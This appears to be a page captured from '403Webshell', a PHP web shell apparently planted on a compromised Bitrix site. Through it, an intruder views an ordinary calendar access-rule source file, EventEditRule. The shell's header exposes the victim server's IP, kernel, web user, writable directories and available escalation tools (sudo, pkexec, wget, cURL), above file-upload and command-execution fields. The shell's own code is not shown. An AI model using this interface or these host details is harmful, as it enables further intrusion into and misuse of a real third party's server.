403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/calendar/lib/access/rule/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/calendar/lib/access/rule/eventeditrule.php
<?php

namespace Bitrix\Calendar\Access\Rule;

use Bitrix\Calendar\Access\Model\EventModel;
use Bitrix\Calendar\Access\Model\SectionModel;
use Bitrix\Calendar\Access\Rule\Traits\CollabTrait;
use Bitrix\Calendar\Access\Rule\Traits\SharingTrait;
use Bitrix\Calendar\Core\Event\Tools\Dictionary;
use Bitrix\Calendar\Sharing\SharingEventManager;
use Bitrix\Main\Access\AccessibleItem;
use Bitrix\Calendar\Access\ActionDictionary;
use Bitrix\Calendar\Access\Rule\Traits\CurrentUserTrait;

class EventEditRule extends \Bitrix\Main\Access\Rule\AbstractRule
{
	use CurrentUserTrait;
	use SharingTrait;
	use CollabTrait;

	public function execute(AccessibleItem $item = null, $params = null): bool
	{
		if (!$item instanceof EventModel)
		{
			return false;
		}

		if (!$this->hasCurrentUser())
		{
			return true;
		}

		if ($this->user->isAdmin() || $this->user->isSocNetAdmin($item->getSectionType()))
		{
			return true;
		}

		// for open events skip section check
		// only creator can edit open events
		if ($item->getSectionType() === Dictionary::CALENDAR_TYPE['open_event'])
		{
			return $this->user->getUserId() === $item->getCreatedBy();
		}

		if (!$this->isCollaberHasEditAccess($item, $this->user->getUserId()))
		{
			return false;
		}

		$doCheckCurrentEvent = isset($params['checkCurrentEvent']) && $params['checkCurrentEvent'] === 'Y';
		$isSharingEventLinkOwner =
			in_array($item->getEventType(), SharingEventManager::getSharingEventTypes())
			&& $this->isEventLinkOwner($item->getParentEventId(), $this->user->getUserId())
		;

		if ($doCheckCurrentEvent || $isSharingEventLinkOwner)
		{
			$section = SectionModel::createFromEventModel($item);
		}
		else
		{
			$section = SectionModel::createFromEventModelParentFields($item);
		}

		return $this->controller->check(
			ActionDictionary::ACTION_SECTION_EDIT,
			$section,
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit